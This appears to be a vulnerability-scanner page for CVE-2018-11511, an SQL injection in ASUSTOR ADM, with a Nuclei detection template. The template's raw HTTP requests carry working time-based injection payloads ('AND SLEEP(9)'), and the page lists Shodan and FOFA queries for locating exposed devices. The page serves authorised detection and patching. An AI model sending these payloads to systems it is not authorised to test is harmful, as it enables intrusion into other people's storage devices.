ASUSTOR ADM 3.1.0.RFQ3 - SQL Injection

criticalseverity

9.8CVSS score

11.1%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

ASUSTOR ADM version 3.1.0.RFQ3 is vulnerable to SQL injection via the album_id parameter in the /photo-gallery/api/album/tree_lists/ endpoint. An attacker can exploit this vulnerability to execute arbitrary SQL commands on the database, potentially leading to information disclosure or further compromise of the affected system.

Impact

Unauthenticated attackers can execute arbitrary SQL commands to access, modify, or delete database contents, potentially compromising the entire ASUSTOR ADM system and accessing stored data.

Fix

Upgrade to a patched version of ASUSTOR ADM or apply vendor-provided security updates.

How to confirm it

Send: @timeout: 30s
Positive when: duration>=9 and status_code == 200 and contains(body, "success\":") and contains_any(body, "album_not_exist\"", "album_items\":")

Run it with nuclei: nuclei -id CVE-2018-11511 -u <target>

The full check

id: CVE-2018-11511

info:
  name: ASUSTOR ADM 3.1.0.RFQ3 - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    ASUSTOR ADM version 3.1.0.RFQ3 is vulnerable to SQL injection via the album_id parameter in the /photo-gallery/api/album/tree_lists/ endpoint. An attacker can exploit this vulnerability to execute arbitrary SQL commands on the database, potentially leading to information disclosure or further compromise of the affected system.
  impact: |
    Unauthenticated attackers can execute arbitrary SQL commands to access, modify, or delete database contents, potentially compromising the entire ASUSTOR ADM system and accessing stored data.
  remediation: |
    Upgrade to a patched version of ASUSTOR ADM or apply vendor-provided security updates.
  reference:
    - https://www.exploit-db.com/exploits/44909
    - https://nvd.nist.gov/vuln/detail/CVE-2018-11511
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-11511
    epss-score: 0.11126
    epss-percentile: 0.95974
    cwe-id: CWE-89
    cpe: cpe:2.3:a:asustor:asustor_data_master:3.1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: asustor
    product: asustor-data-master
    shodan-query: http.html:"ASUSTOR"
    fofa-query: body="ASUSTOR" && icon_hash="1678170702"
  tags: cve,cve2018,asustor,adm,sqli,vkev,vuln

http:
  - raw:
      - |
        @timeout: 30s
        POST /photo-gallery/api/album/tree_lists/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        album_id=106298411+AND+SLEEP(9)&start=0&limit=100&order=name_asc&api=v2

      - |
        @timeout: 30s
        POST /photo-gallery/api/photo/search/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        keyword=jpg&scope=106298414+AND+SLEEP(9)&start=0&limit=100&order=name_asc&api_mode=browse&api=v2

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'duration>=9'
          - 'status_code == 200'
          - 'contains(body, "success\":")'
          - 'contains_any(body, "album_not_exist\"", "album_items\":")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from